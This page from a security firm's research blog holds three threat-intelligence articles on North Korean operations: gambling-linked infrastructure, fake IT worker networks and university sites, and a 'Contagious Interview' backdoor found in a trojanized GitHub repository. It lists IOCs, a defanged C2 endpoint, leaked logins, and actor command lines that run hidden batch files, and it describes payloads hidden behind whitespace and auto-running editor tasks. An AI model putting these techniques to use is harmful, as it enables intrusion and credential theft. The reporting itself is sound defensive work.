Kudelski Security Research

70 min read Original article ↗

The Latest News from Research at Kudelski Security

Vulnerability Notification

Thank you! Your submission has been received!

Oops! Something went wrong while submitting the form.

August 12, 2026

Inside North Korea’s Cybercrime Ecosystem: Fake IT Workers, Gambling Networks and Malware

Clifford

Understanding the DPRK Cybercrime Ecosystem

Following a recent assessment of multiple events linked to North Korea, we wanted to bring our findings together in one place. This article examines three investigations into past events that were not attributed to the DPRK, as well as legitimate structures being used for illegitimate activities.

The compromise of partners or employers is not new, and DPRK IT workers have used this approach even within the cybercrime sector, as the first investigation into FakeCalls shows. This is why, as an analyst, I do not draw a hard line between cybercrime and state actors: the two can work together, while cybercrime groups can also be infiltrated, influenced or redirected by a state.

This research is based on passive analysis of publicly available data.

Linking the FakeCalls Trojan to DPRK-Linked Gambling Operations

We recently observed a stealer log leak involving an actor linked to the DPRK, nicknamed “Bismarck.” The actor used two IP addresses that overlap with indicators of compromise (IOCs) documented by Check Point Research in its analysis of FakeCalls, an Android banking trojan targeting South Korea. Because we had already clustered this threat actor and linked him to the North Korean fake IT worker environment, we assess that these attacks are likely attributable to the DPRK.

This actor's data leaked on December 22, 2023, and the article from Check Point Research was published on March 14, 2023, which fall within a similar timeframe.

Collected IPs that overlap with the FakeCalls Trojan Context
182.16.42[.]18:20001
182.16.42[.]18:20001/powerpoker/
Username: 본사 / HQ?
188.114.97[.]3 This IP has been found in an autofill without any context with this one 82.118.29[.]239 and belongs to “Express VPN” and has been likely used with an account with this mail account expressvpn2021-3@outlook[.]com

Compared with other actors linked to the DPRK, this actor consumed a high volume of North Korean state-owned news, including DPRKdaily, uriminzokkiri and kcnawatch. He was also observed administering multiple gambling-related websites (see Annex 1) that may have been used to launder money. We found autofill fields containing 코인거래 주의사항, meaning “Cryptocurrency Trading Precautions,” as well as operational chats between some of “Bismarck's” associates.

The associates appear to have been suspicious of “Bismarck.” After these messages, one associate wanted to formalize the relationship with a contract and appeared aware of the risks involved. The circumstances of their initial contact remain unclear.

Associate A: "I will. But bro Tell me, I hope that won't put me in troubles. I have some Bank accounts and won't that affect that. If anything related to the business"

Associate A: "If you use the site for money laundering, I will go to jail 🤣"

Associate A: “I should pay you to learn me the technical matters🤣”

They can also modify the “RTP” (Return to Player) rate, the theoretical percentage of money wagered that is returned to players. In this case, they claim that it can be modified at any time.

Associate A:” Are you able to copy a casino system if I give you the front and back?”

Unknown Associate: No, the ones that I have are also copies.

Associate A: Stake[.]com has 44 exclusive Pragmatic games. If I ask you to copy them, can you do that?

Bismarck: "RTP adjustable per game"

Bismarck: "Manager can directly award winnings using RTP call"


Unknown Associate: “Work retail. Manually. Via PC. In Russia mostly and a bit CIS”

Unknown Associate:” Speaking to a friend from Russia”


Associate A: “The one I introduced from Turkey”

Associate A:” Not sure if Domenico will be happy to hear that I am working with you lol”

Our reconstruction and sequencing may be imperfect, but the evidence suggests that the actors organized themselves across multiple countries to establish several gambling businesses. The casinos do not appear to be properly regulated, and the games are copies of legitimate titles from other publishers. Research into gitslotpark[.]com (see Annex 1) identified a lawsuit filed in Virginia, United States, by Pragmatic Play concerning copies of its games. This also aligns with chat excerpts identified through Google Translate.

Figure 1: Court lawsuit

The lawsuit also contained the name “E. Vasilyevich,” which overlaps with a name found in Bismarck's autofill data.

We assess that DPRK actors may have reused IP addresses from the gambling operation because the domains were purchased by the associates rather than by “Bismarck” or other North Korean operatives. We believe that a team operated behind "Bismarck" during the operation, given the size of the infrastructure, as we understand that "Bismarck" was the system administrator and developer for this operation.

Based on the IPs found in the metadata of "Bismarck's" session cookies, we were able to see that he established connections from a mobile ISP in Moscow, Russia, which may indicate that he conducted his operations from Moscow.

IP Enrichment
213.87.149[.]35 Location: Moscow, Moscow
Country: Russia
ASN: AS8359 MTS PJSC
213.87.90[.]110 Location: Moscow, Moscow
Country: Russia
ASN: AS8359 MTS PJSC
213.87.144[.]144 Location: Moscow, Moscow
Country: Russia
ASN: AS8359 MTS PJSC

The metadata comes mainly from DPRKtoday, a North Korean news website widely used by overseas workers. It also serves as a pivot point that we use to track threat actors laterally through stealer log data.

Figure 2: Metadata session cookies DPRKtoday

DPRK Fake IT Workers and Emotet Botnet Activity

We assessed a DPRK-related actor, identified in a stealer log, who appeared to work as a manager. Two IP addresses stored in his password vault were associated with the delivery of Emotet, modular malware first observed in 2014. Emotet began as a banking trojan before evolving into a loader used to deliver other payloads. We assess with moderate confidence that the manager used the two IPs listed below to deploy Emotet.

IP Context
160.16.143[.]191:10022
160.16.143[.]191:22
Following the IOC list https://github.com/vmware-samples/tau-research/blob/emotet-report/2022-H2-Emotet-Resurrection/ioc_c2_config.csv
we can note this line who contains our IOC
IP address Port Epoch JARM fingerprint AS number First seen
160.16.143[.]191 7080 5   9370 2022-05-20 21:00:41 UTC
160.16.218[.]63 For this one we don’t have much context, just an IP and a port from this source: https://github.com/pr0xylife/Emotet/blob/main/e4_emotet_18.03.2022.txt

The credentials were stolen from the manager's WinSCP vault in 2021. Cross-referencing the history of 160.16.143[.]191, this IP began being used as a loader in early 2022, according to VirusTotal history.

Figure 3: Unknown Fake IT worker cell from 2021

One notable aspect of this profile is that the entire system is in Japanese. This is not the first time we have observed this pattern. Based on his notes, which were written partly in Japanese and partly in Korean, this cell appears to have targeted Japan exclusively. The notes described missions carried out by the team in 2021.

Figure 4: “RUR” computer screenshot

Given the UTC+8 time zone, we assess that he could be located in North Korea.

North Korean Universities and DPRK Fake IT Worker Operations

During our research, we identified multiple universities connected to the fake IT worker operation. The most significant in our assessment were Kim Chaek University of Technology, Jinung Institute of IT Development at Kim Il Sung University, and PYITC, which we attribute with medium confidence to the Pyongyang Information Technology Center.

These were often North Korean universities. In the cases we assessed, the activity appeared to involve fake IT workers operating from within these institutions rather than students. We observed a naming convention of <university acronym>-<number>, with numbering beginning at 001. Using this convention, we ran a bulk lookup on Hudson Rock from <university acronym>-001 to <university acronym>-999, which provided additional context on activity within these institutions.

For the building reconstruction/GEOINT analysis, we are unsure whether the machine naming convention refers to a base or to a named physical location. For this analysis, we assumed that it referred to a named location.

1. Kim Chaek University of Technology and DPRK Fake IT Worker Activity

Figure 5: Kim Chaek University of Technology - Ryonbong; building assessment (Low confidence)

With low confidence, we reconstructed a small part of Kim Chaek University of Technology using the naming convention found on computers within the assessed cluster. These machines were marked internally as “units” and used tags such as “4-2-205,” which could refer to “Building/Floor/Room.” We see this pattern frequently in stealer logs and assess that these machines are likely not portable. Across different units, only the first digit changed, leading us to assess that it may identify the building. Our goal was to cross-reference these identifiers with satellite imagery to determine whether they reveal additional capabilities. The methodology is outlined below.

GEOINT attributes Objective
Marked internally as Building 1
// Marked by a purple pin
A building within the campus of Kim Chaek University of technology that has minimum 8 floors
Marked internally as Building 2
// Green area
A building within the campus of Kim Chaek University of technology that has minimum 4 floors
Marked internally as Building 4
// Green area
A building within the campus of Kim Chaek University of Technology that has minimum 2 floors
Not sure if this is a part of the KUT campus
// Blue area and a blue pin
Buildings that are linked to a university

To do this, we can count the windows to estimate the number of floors and exclude buildings with fewer than two floors, narrowing the possible locations. We were unsure whether the area marked in blue formed part of the campus.

Figure 6: Kim Chaek University of technology (KUT) campus [Low confidence]

Based on the data observed, the most frequently represented fake IT worker teams from this university were 41/42/43 KUT and several sub-teams. We understand the hierarchy to be: KUT → Department → Team.

We found limited information on their network infrastructure, but assess that they are probably using the 192.168.142.XXX/24 subnet. Within this infrastructure, we observed connections to the private IP address 192.168.142[.]122:80, which serves a developer management system.

http://192.168.142[.]122/user/personal/edit-profile
http://192.168.142[.]122/daily-report
http://192.168.142[.]122/maintenance/coming-soon | Title: Developer Management System

2. Jinung Institute of IT Development and DPRK Fake IT Worker Activity

The Jinung Institute of IT Development appears to be less well documented than the other universities. However, the Kim Il Sung University website briefly references the institute and its activities as a university unit.

Figure 7: Kim Il Sung University, Jinung documentation

We initially clustered a group of IT workers using the naming pattern UnivJN-<number>. One individual stated that he was from “Jinung” and part of a team named JN+<number>. The teams identified as JN1 and JN2 appear to consist mainly of developers.

To identify the exact site, we referred to a 38 North article that identified “Jinung solar panel manufacturing.” Assuming the units are grouped together, we examined the area around that facility using “3-4-XX” as a reference.

GEOINT attributes Objective
Marked internally as “Building 3”
// Probable area marked in Green
A building within the campus of Kim Il Sung University close to “Jinung Solar Panel Manufacturing Company” that have 4 floors minimum

Figure 8: Jinung Institute of IT Development (Kim Il Sung University) [Low confidence]

One assessed profile used a 10-character password resembling a Chinese student ID. We do not know whether they adopted the same naming convention as Chinese universities, although it is plausible.

3. PYITC and DPRK Fake IT Worker Infrastructure

We are unsure whether PYITC refers to the Pyongyang Information Technology Center, as the acronym appears only within the IT worker teams we assessed. However, we can say with high confidence that the entity is linked to a North Korean university because we observed the same patterns documented in the previous cases. The infrastructure we reconstructed makes extensive use of an HFS solution, probably Rejetto, across PYITC teams (see Annex 2), with “Student Management” appearing as a title.

We observed a pattern in fake IT worker usernames consisting of three digits in the format “3-X-X.” This appears more likely to be an organizational or military naming convention than a building identifier and differs from the machine-name patterns assessed earlier.

Network assessed Analyst note
192.168.147.XXX/24 http://192.168.147.8/#/app/dashboard
| Student Management
192.168.127.XXX/24 http://192.168.127.8/#/app/dashboard
| Student Management

Across both networks, we observed the same dashboard name on hosts ending in “.8,” which may reflect an internal convention used by this entity.

The role of students remains unclear. We observed indications that students may participate in the fake IT worker operation, and this is the first time we have encountered the term “student” rather than “units.”

Inside the DPRK Fake IT Worker “Base” System

By cross-referencing sources including stealer logs and the ZachXBT leak, we developed the following understanding of the “Base” system's structure.

Five known bases have been identified, although their locations are not publicly known. A “base” is described as a location where workers can access the internet. Connectivity is provided in two ways: a wired fiber-optic connection, which is stable but slow, or what they call “Wi-Fi,” which is actually a router with a SIM card using the cellular network. The latter is faster but less stable and can support three to five people at a time.

A dedicated support team handles requests for new routers and other technical issues. Workers can move between bases depending on decisions made by the “base boss” and the individual team member. However, they are not required to work from these bases; some companies and universities in North Korea already have internet access.

Figure 9: Fake IT workers structure [High confidence]

Turn Threat Intelligence Into Action

Understanding how cybercrime and state-linked activity intersect is critical to staying ahead of emerging threats. Kudelski Security can help you understand the threats facing your organization and turn intelligence into meaningful action. Contact our team for more information.

Sources and Research References

Hudson rock for the stealer logs

// FakeCalls, Casino part

https://research.checkpoint.com/2023/south-korean-android-banking-menace-fakecalls/

// Emotet part

https://web.archive.org/web/20221011061425/https://www.vmware.com/content/dam/learn/en/amer/fy23/pdf/1669005_Emotet_Exposed_A_Look_Inside_the_Cybercriminal_Supply_Chain.pdf

https://github.com/pr0xylife/Emotet/blob/main/e4_emotet_18.03.2022.txt

https://github.com/vmware-samples/tau-research/blob/emotet-report/2022-H2-Emotet-Resurrection/ioc_c2_config.csv

// Jinung Institute of IT Development (Kim Il Sung university)

https://www.38north.org/2023/03/north-koreas-energy-sector-state-solar-electricity-research-and-manufacturing/

// Base

https://investigation.io/dprk-itw-breach/ password:123456

The translation from Korean to English has been made by AI

ANNEX

ANNEX 1 – Gambling administration Link

Link Context Activity during the analysis
backoffice[.]honorlink[.]org
obdb[.]honorlink[.]org
Platform that provides casino API and white-label Casino solutions UP
zeu-000[.]com The DPRK linked actor had access to the following endpoint / CustomerList DOWN
admin[.]moo-gadang[.]com DOWN
185[.]254[.]241[.]135:8081 TITLE: 회원 관리 | Admin - Online Gaming
Member management
TITLE: 대시 보드 | Admin - Online Gaming
Dashboard
Logins: Admin / devuser004
DOWN
prd-sdv2-api[.]slotsdiamond[.]com Gambling related website UP
app-b[.]insvr[.]com Online gaming and betting application DOWN
adminv2[.]gitslotpark[.]com Login | Admin - Online Gaming DOWN
admin[.]loginxcasino[.]com Dashboard | Admin - Online Gaming DOWN

ANNEX 2 – PYITC network

PYITC internal IP Shared link
192.168.127[.]8 http://192.168.127[.]8/#/app/dashboard | Student Management
192.168.127[.]27 http://192.168.127[.]27:8167/bol/5 month Daily Report and Scores_v2.0(2023.5.14-2023.5.).xlsx
192.168.127[.]31 http://192.168.127[.]31:8167/4rr/abbreviations on messaging.docx
192.168.127[.]54 http://192.168.127[.]54:8167/b91/3-7-27-example.xlsx
http://192.168.127[.]54:8167/80n/5-2_v1.0(2023.5.5-2023.5.13).xlsx
http://192.168.127[.]54:8167/9yu/reference.xlsx
192.168.127[.]56 http://192.168.127[.]56:8167/8cf/_07ResumeSample.rar
192.168.127[.]60 http://192.168.127[.]60:8167/f0l/New Microsoft Excel Worksheet.xlsx
http://192.168.127[.]60:8167/omq/5-3(2023.5.14-2023.5.21).xlsx
http://192.168.127[.]60:8167/845/5-4(2023.5.23-2023.5.28).xlsx
http://192.168.127[.]60:8167/kb9/May Report_v1.0(2023.5.31).xlsx
192.168.127[.]62 http://192.168.127[.]62:8167/che/Daily Report Form.xlsx
192.168.127[.]66 http://192.168.127[.]66:8167/cyo/new_resume_Jhon.docx
http://192.168.127[.]66:8167/j4f/2_6_Michael%20John.png
http://192.168.127[.]66:8167/hcq/Bids.docx
http://192.168.127[.]66:8167/jd9/lingoes.rar
http://192.168.127[.]66:8167/euw/2-6-3.png
http://192.168.127[.]66:8167/3t8/2-6-3.png
http://192.168.127[.]66:8167/wo/2-6-3.png
http://192.168.127[.]66:8167/kml/Screenshot%202023-05-03%20003344.png
http://192.168.127[.]66:8167/8ye/Screenshot%202023-05-04%20010847.png
http://192.168.127[.]66:8167/kst/Screenshot%202023-05-05%20001208.png
http://192.168.127[.]66:8167/c7i/Screenshot%202023-05-06%20001249.png
192.168.127[.]69 http://192.168.127[.]69:8167/krc/websites.xlsx
192.168.127[.]75 http://192.168.127[.]75:8167/opd/manage-upwork-accounts.rar

ANNEX 3 – Bonus – North Korean word list found in an autofill

Translated with AI

Korean English
3대혁명 Three Revolutions
간직하자 Let us cherish
건설혁명 Construction revolution
경제조직 Economic organization
계절 Season
공산주의 Communism
광명한 Bright
구상 Concept/Plan
구상과 념원 Concept and aspiration
국기 National flag
국내 Domestic
국장 National emblem
김치 Kimchi
념원 Aspiration
농업 Agriculture
농촌 Countryside
농촌문제 Rural issue
농촌발전 Rural development
당면한 Pressing/Immediate
당을 The Party (obj.)
당의 The Party's
동지애 Comradeship
련포온실 Ryonpho greenhouse
문명발전 Cultural development
미풍 Fine custom
반일 Anti-Japanese
보도 Report/News
사랑 Love
사상공세 Ideological offensive
사상교양 Ideological education
사상교양사업 Ideological education work
사상사업 Ideological work
사회 Society
사회주의 Socialism
수령관 View of the leader
실력 Ability/Competence
애국가 National anthem
요람 Cradle
우월성 Superiority
인민군창건 Founding of the People's Army
일군들 Officials/Cadres
일군들은 Officials/Cadres (topic)
전쟁 War
조국해방전쟁 Fatherland Liberation War
조중친선 DPRK–China friendship
조충친선 DPRK–China friendship (variant)
주체의 Juche's
초급당비서 Primary Party secretary
충복 Loyal servant
충실성 Loyalty/Fidelity
통일단결 Unity and cohesion
필승불패 Ever-victorious/Invincible
하자고 Let us do
행복의 요람 Cradle of happiness
혁명성 Revolutionary spirit
혁명승리 Revolutionary victory
혁명적 수령관 Revolutionary view of the leader
현시기 Present period
화성지구 Hwasong district
가극 Opera
결심 Determination
3대혁명소조 Three Revolutions Team
농업생산 Agricultural production
당생활총화 Party life review
대외사업 External affairs work
련포 Ryonpho
반제계급의식 Anti-imperialist class consciousness
백두산지구 Mt. Paektu district
법무생활 Legal life/conduct
사회주의교양 Socialist education
인민 People
인민들 People (pl.)
초급당 Primary Party

2026

July 17, 2026

DPRK Fake IT Workers: Inside Their Evolving Network Infrastructure

Clifford

Summary

This report is a follow-up to our previous research on the internal network of DPRK IT workers. Using stealer logs, we expand our understanding of these threat actors’ internal infrastructure, much of which appears to be located in North Korea. This includes newly identified network segments, further insight into their organizational structure and new clusters within the previously documented offensive infrastructure.

This research is based on the passive analysis of publicly available data.

Infrastructure Tracking Overview

Figure 1: DPRK infrastructure

We divided the infrastructure in 3 parts

Blue = Target space
Grey = Neutral space
Red = Adversary space

This report is divided into two parts. The first examines the public-facing infrastructure, while the second presents relevant observations on clusters identified within either the offensive ecosystem or the fake IT worker operation.

Tracking Public-Facing IP Addresses

Following our previous article on this infrastructure, we observed that actors linked to the DPRK fake IT worker cluster had changed several parts of their infrastructure. However, the infrastructure associated with Skyfreight Limited remained unchanged.

IP Initial Reverse DNS or Pivoting Point Remarks
188.43.33[.]253
(Inactive)
investstroytrest-gw[.]transtelecom[.]net Changed to SevDirInfr-gw[.]transtelecom[.]net and, instead of being in Khabarovsk, this IP is now located in Moscow.

This might indicate a shift in their infrastructure.

188.43.33[.]252
(Inactive)
investstroytrest-gw[.]transtelecom[.]net Changed to SevDirInfr-gw[.]transtelecom[.]net and, instead of being in Khabarovsk, this IP is now located in Moscow.

This might indicate a shift in their infrastructure.

80.83.238[.]59 80.83.238.0/24 We observed that they use IPs belonging to the Vladivostok, Far East division of Mobile Telesystems PJSC as an exit node.
188.43.235[.]177 DZHV-gw[.]transtelecom[.]net As this is linked to a train company, it will not be changed by the DPRK ITW network team.
188.43.136[.]32
(Inactive)
  Initially located in Bodaybo, Irkutsk, and flagged because it matched a DPRK FITW time zone found in a stealer log, it is now located in Khabarovsk. This IP might have been reattributed.
188.43.136[.]34
(Inactive)
  Initially located in Moscow and flagged because it matched a DPRK FITW time zone found in a stealer log, it is now located in Khabarovsk. This IP might have been reattributed.
83.234.227[.]9
83.234.227[.]10
83.234.227[.]20
83.234.227[.]41
83.234.227[.]51
Skyfreight_Limited Remain unchanged and are used by Team 821-39, which may indicate that this unit has a presence in Russia.

Considering all known locations and the context gathered before the infrastructure shift, we can trace an apparent path from North Korea to western Russia.

Figure 2: Mapping of Russian exit nodes used by fake IT workers

Over time, we observed that their primary targets appear to be the United States and Japan. To support their operations, they use VPNs to obtain exit nodes in these countries. DPRK IT workers use a wide range of commercial VPN services, so we used this pattern as a pivot point when analyzing stealer logs.

Figure 3: Astrill exit nodes identified in stealer log screenshots

Astrill VPN may appeal to malicious actors because its servers are difficult for researchers to fingerprint. We therefore relied primarily on IP addresses identified by Spur and OTX to find additional profiles. Fake IT workers appear to share some exit nodes with offensive teams. Researchers can therefore use IP addresses associated with previous campaigns as pivot points in OTX to identify potential overlaps. The keyword “Lazarus” also produced useful results in this context.

Based on our observations, Mullvad is the second most commonly used VPN provider among fake IT workers. Its infrastructure is relatively easy to identify because it uses dedicated, named ranges.

M247 Japan Ranges
37.120.154.0/24
185.242.4.0/24

We then used Hudson Rock to identify profiles matching known patterns associated with fake IT workers or North Korean operators.

One distinction between Cluster A and Cluster B is how they conceal their public IP addresses. Cluster A appears to take greater care to protect the source IP addresses of its command-and-control infrastructure. Cluster B takes the opposite approach and makes less effort to conceal them. For example, 175.45.178[.]222 has been attributed to an attacker team for more than five years, yet the team continues to reuse it, sometimes behind a single proxy and sometimes without a VPN or proxy.

Figure 4: DPRK public-facing infrastructure

As part of the C2 operations, we observed a high volume of DNS requests sent through MikroTik routers around the world.

Tracking Private IP Addresses

Following the leak published by ZachXBT (password: 123456), we identified several overlaps with our findings. Before the leak, we had identified only acronyms such as “HMB,” which we can now link to “HamBuk”; “RS,” which refers to “RedStar”; and “S.E.C.,” which refers to the Second Economy Committee. We would not have been able to resolve these terms without the leaked information. Many other terms remain unresolved. Even when teams do not use acronyms, some rely on North Korean cultural references that provide little indication of their actual purpose. The internal infrastructure suggests that multiple sectors are involved in the fake IT worker scheme.

During our infrastructure assessment, we were unable to identify a gateway until we found a stealer log belonging to a DPRK IT worker who was configuring a Huawei HiLink router. The worker accessed the router through 192.168.8[.]1 on a network used by Team 313.

Figure 5: Team 313 network

As we could not observe any other configuration tasks on the other routers and never saw any other internal IPs ending in "1," we assess with low confidence that they use the first usable address (192.168.*.1/24) as a convention for their gateway addresses. Using the first usable address is a common networking convention, although some networks use the last usable address instead.

We attributed “RB” to “Ryonbong,” a sanctioned North Korean company linked to the defense sector. From an infrastructure perspective, RB appears to perform a support function by providing and collecting administrative reports from DPRK employees.

On the “RB proxy,” we identified the URL hxxp://192.168.109[.]2/call, which we linked to a WebRTC call server on the same network. The actors appear to use two methods for internal communication: this server and a separate tool called “CallPC,” which we identified across several other networks.

Figure 6: RB administrative network

We also found references to “KUT” and Ryonbong in several stealer log profiles. Based on the subdomain and the contact email kut[@]star-co[.]net[.]kp, we linked KUT to Kim Chaek University of Technology.

Figure 7: KUT website

A stealer log contained references to 13 teams, ranging from 41-KUT and 42-KUT to HQ and Ryonbong. The log did not contain the teams’ private IP addresses. We do not yet know what this structure represents. Although the teams are linked to the university, the naming convention does not appear to correspond to university classes.

Figure 8: Unmarked KUT network

In our earlier research, we assessed the offensive infrastructure described in this article. We have since added a new cluster, labeled “PUG,” although we have not determined what the acronym means. We still do not know where this infrastructure is located or what its purpose is. One user is associated with a team named “Yuhang.” Yuhang is also the name of a district in Hangzhou, but this is not a sufficiently strong indicator to support attribution at this stage.

Figure 9: Offensive infrastructure

Informational part: We noticed that a server with the following address 192.168.143[.]66 host public YouTube videos to learn English.

URLs from 192.168.143[.]66
http://192.168.143[.]66:1000/wp-content/uploads/english/5 things you MUST KNOW to master Professional English _ Business English.mp4
http://192.168.143[.]66:1000/wp-content/uploads/english/C1-level Grammar and Vocabulary in 1 Hour! (Advanced Level English).mp4
http://192.168.143[.]66:1000/wp-content/uploads/english/How to use to take _ Learn English with Lucy.mp4
http://192.168.143[.]66:1000/wp-content/uploads/english/I say this EVERY day! Daily British English (through story!).mp4
http://192.168.143[.]66:1000/wp-content/uploads/english/I use these phrases Every. Damn. Day... So YOU should probably learn them too! ✌🏻🇬🇧.mp4
http://192.168.143[.]66:1000/wp-content/uploads/english/If you master this ONE word, you will speak English with EASE! _ 20-minute HAVE Masterclass.mp4
http://192.168.143[.]66:1000/wp-content/uploads/english/Learn English - how to use to get _ EnglishWithLucy.mp4
http://192.168.143[.]66:1000/wp-content/uploads/english/Make or Do_ Learn English for FREE with Lucy!.mp4

Sources

Hudson rock for the stealer logs
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf

https://investigation.io/dprk-itw-breach/ (password: 123456)

Content

IOC’s

IP Description
175.45.178[.]222 DPRK attacker exit node
175.45.176[.]27 C2 operations
175.45.176[.]40 C2 operations
175.45.176[.]160 C2 operations
175.45.176[.]180 C2 operations
175.45.176[.]144 C2 operations
175.45.176[.]69 DPRK Fake IT worker exit node
104.253.7[.]202 Polaris Team
104.253.43[.]239 Polaris Team
104.253.75[.]110 Polaris Team
104.253.160[.]77 Polaris Team
104.253.201[.]228 Polaris Team
162.253.129[.]2 MyoHyangGyongSong team
91.239.130[.]102 Team 128-710
83.234.227[.]10 Team 821-39

Relevant Antivirus Solutions to Note

Antivirus Solution Description
360 安全卫士 Qihoo 360
电脑管家系统防护 Tencent PC Manager
Lenovo Anti-Virus powered by Huorong Security Lenovo antivirus based on Huorong
(Huorong Network Technology Co.)
金山毒霸铠甲防御 Kingsoft Antivirus
(Beijing Lingbao Intelligent Technology Co.)

2026

June 30, 2026

How DPRK’s Contagious Interview Campaign Targets Developers

Clifford

Summary

Kudelski Security’s research team tracked a DPRK-linked cluster of individuals running the “Contagious Interview” campaign, operating from DPRK and China. Posing as recruiters on LinkedIn, WhatsApp, and Discord, the operators lure job-seeking developers into fake technical interviews and trick them into running malicious code.

This article explains how they operate and includes a backdoor analysis of a GitHub repository used in their fake interview workflow.

Fake interview

At the beginning of this year, we were able to gather contracts shared over LinkedIn and WhatsApp with potential collaborators who consented to open a laptop farm or individually give DPRK actors access to their laptop and identity to perform a range of tasks.

Figure 1: Remote access contract

Following a contract signed between two of the parties, we observed that the actors also used the identity and machines of the collaborators to infiltrate CodeMentor (codementor[.]io), conduct 1:1 sessions with developers, and apply to freelance positions as a developer.

Once the contract was signed, we observed that they ran tests with .bat files whose contents we could not see. We assess with low confidence that these specific commands were linked to interviews conducted by them.

Figure 2: PowerShell commands related to probable interviews

Nircmd is a command-line utility from NirSoft and is currently being used by DPRK-related actors to make victims execute .bat files on their system during coding interviews. As we could not read the contents of the .bat files, we do not know what those files do once executed on the system.

We can note that they mainly used three flags related to Nircmd: exec, win, and hide.

  • Exec is for execution
  • Win runs it in normal mode
  • Hide is for hiding the window during execution

We think that the DPRK actor uses the combination of both flags, win and hide, either because they misunderstand the command utility or to evade detection based on Nircmd + exec + hide. In some cases, it should be Nircmd + exec + win + hide, so the analyst has to adapt the detection rule. You can find detection logic at the end of this article.

Commandlines
nircmd exec hide "c:\batch files\syncfiles.bat"
nircmd exec hide
"E:\1_Task\5_CodeMentor\React\reactwebtemplate\test.bat"
nircmd.exe exec hide "E:
\1_Task\5_CodeMentor\React\reactwebtemplate\test.bat"
nircmd.exe exec win hide "E:
\1_Task\5_CodeMentor\React\reactwebtemplate\test.bat"

What type of proxies do they use?

Over time, we observed that DPRK actors ran a scamming scheme by hiring external collaborators in Iran to act as interviewers. They mainly used VPS, residential proxies, and VPNs located in the region they were targeting. In fake interviews, they specifically targeted people related to the blockchain sector or developers who might have access to crypto companies.

For example, when they targeted Japan, they mainly connected through M247 Japanese ranges, connected to a VPS, or used an Astrill VPN node with a Japanese IP address.

Why do threat actors use Astrill VPN?

Astrill VPN allows malicious actors to do port forwarding over their C2 to hide their servers behind Astrill VPN services.

Figure 3: Astrill port forwarding (https://www.astrill.com/features/port-forwarding)

This is the main reason DPRK actors use Astrill VPN for their malicious campaigns. It also helps because some of their operators are located within China, giving them easier access to the internet outside China or North Korea without being restricted.

They mainly pay for this service with stolen credit cards.

In our previous research, we observed with medium confidence that North Korea had direct connections with Chinese ISPs such as ZTE, which could probably give them Chinese IPs instead of North Korean IPs. Even if the connection we found is not active, it is still useful for infrastructure analysis.

Source: https://kudelskisecurity.com/research/tracking-threat-actors-how-infrastructure-analysis-reveals-cyber-attack-patterns

We also saw in a research article from the GitLab Threat Intelligence team that some North Korean IT worker cells can operate within Chinese universities at joint research centre facilities used as cover for malicious activity outside North Korea. That suggests their source IPs may originate from China as well.

Fake Github repository made to impersonate a blockchain company and pass fake interviews

As we apply a specific marker to threats against Switzerland, we observed that a GitHub repository named Ajuna-solution impersonated a Swiss company named Ajuna-network to likely spread malware and compromise interviewees during fake coding interviews led by fake recruiters linked to DPRK. This campaign has been named Contagious Interview and is already well documented. This time, we decided to give an overview of what we could see from this campaign.

The entirety of this GitHub repository was trojanized, and this analysis is broken down into multiple parts that we found relevant:

  • package.json (launches the app and triggers the backdoor)
  • routes/api/auth.js (backdoor)
  • controllers/auth.js (informational: suspicious use of Axios)
  • .vscode/tasks.json (second way to trigger the backdoor)

Package.json

Figure 4: execution + persistence

To launch the application, the user must perform an npm install, which triggers a prepare step that starts a Node server as a background task compatible with Windows and Linux. After that, it launches server.js, which enables the backdoor described below.

Backdoor with “routes/api/auth.js”

Once we open “routes/api/auth.js” on the repository

Figure 5: Obfuscated code

The code appears legitimate, but it uses a common technique to trick users by placing 721 spaces after module.exports = router; and appending obfuscated malicious code. It was probably generated using the obfuscator[.]io engine, based on structural patterns such as identifiers that start with _0x followed by hexadecimal digits, and a custom decoder that does not use native atob to decode strings but instead uses a custom base64 function based on a non-standard alphabet with a lowercase-first order.

Figure 6: Obfuscated code

Once de-obfuscated, we can identify the backdoor logic as six distinct parts.

Figure 7 : backdoor chain

Figure 8 : Reconnaissance

This first reconnaissance stage gathers the hostname and the operating system, including the kernel version and platform. The IPv4 family is used only as a filtering criterion to select the right interface and exclude internal interfaces and null MAC addresses. The public IP address does not appear to be collected. Only the MAC address seems to be used as a stable machine identifier.

Figure 9: Data exfiltration

Within sendRequest(), the collected data is serialized with JSON.stringify and passed as URL parameters, along with the entire process environment (process.env). This means it can steal API keys, tokens, and other secrets.

We also noted that the actor left a marker in the tid field: now it time to get everything. It is likely used to identify or reroute the data within their C2.

Figure 10: C2 communication

Once the base64 is decoded we can now know the C2 and the endpoint behind these communications hxxp://138.201.128[.]169:1224/api/checkStatus.
We can now know that the structure follow this patterns <IP>:1224/api/<Value>
We see that the server is hosted at Hetzner a German VPS provider, we can also see from abuseipdb that this same IP has been reported 1 year ago as the sender of 1200+ phishing emails that can indicate an infrastructure reuse but we can’t confirm it.

Figure 11: RCE

The C2 response is parsed as JSON, and if the field status is equal to error, this signals that the message field carries a command that is passed to eval().

The interesting part here is that it uses the error message to catch a condition, which is unusual.

Figure 12: Session handling

For session handling, the C2 returns an identifier that is stored in SysID, which can give the attacker a tracking ID for each infected host.

Figure 13: Persistence

On load, the implant runs getSystemInfo() and store the result into s, the data is sent to the C2 without any external trigger. A beacon is sent every 5 seconds and maintains a channel for the C2 to execute commands remotely. If the initialization fails, the error is logged and the process exits with an exit code of 1.

controllers/auth.js (Informational)

Figure 14: Axios usage

We would like to note that Axios has been called without being used on this project and is installed via NPM, this remains suspicious even if version 1.14.0 has not been impacted by the Axios supply chain attack. According to Google threat intelligence group the following version were compromised 1.14.1 and 0.30.4. One version after the one that was installed.

Figure 15: Axios usage

.vscode/tasks.json (Second stage dropper)

If you open the project with. vscode it will automatically execute commands hidden by 564 spaces on the “env” task.

Figure 16: Env task

Once executed by tasks.json, powershell will use the “-Command” flag + the command within the task, it would appear like this on windows:
“<Absolute path\Powershell.exe> -Command <Commandline in the task>”

Figure 17: One liners vscode

They made the execution of these commandlines possible on OSX, Linux and Windows. Once executed it create a. vscode folder in “C:\Users\%USERNAME%\”, install node.js, pull and execute “env.npl” which is the exact same backdoor that we analyzed on “routes/api/auth.js”.

Figure 18: Env node JS

Analysis of the events

Based on the collected events, we can partially reconstruct what happened during these interviews. The fake interviewer asked the candidate to install the dependencies of the project with npm install. If the candidate did not want to do it, the interviewer would ask them to open the project in VS Code. That action would trigger the backdoor due to the env task located in .vscode/tasks.json.

This is a compromise technique likely combined with social engineering, where the fake interviewer pushes the candidate to perform actions that look benign but in fact trigger the attacker’s backdoor.

Detection

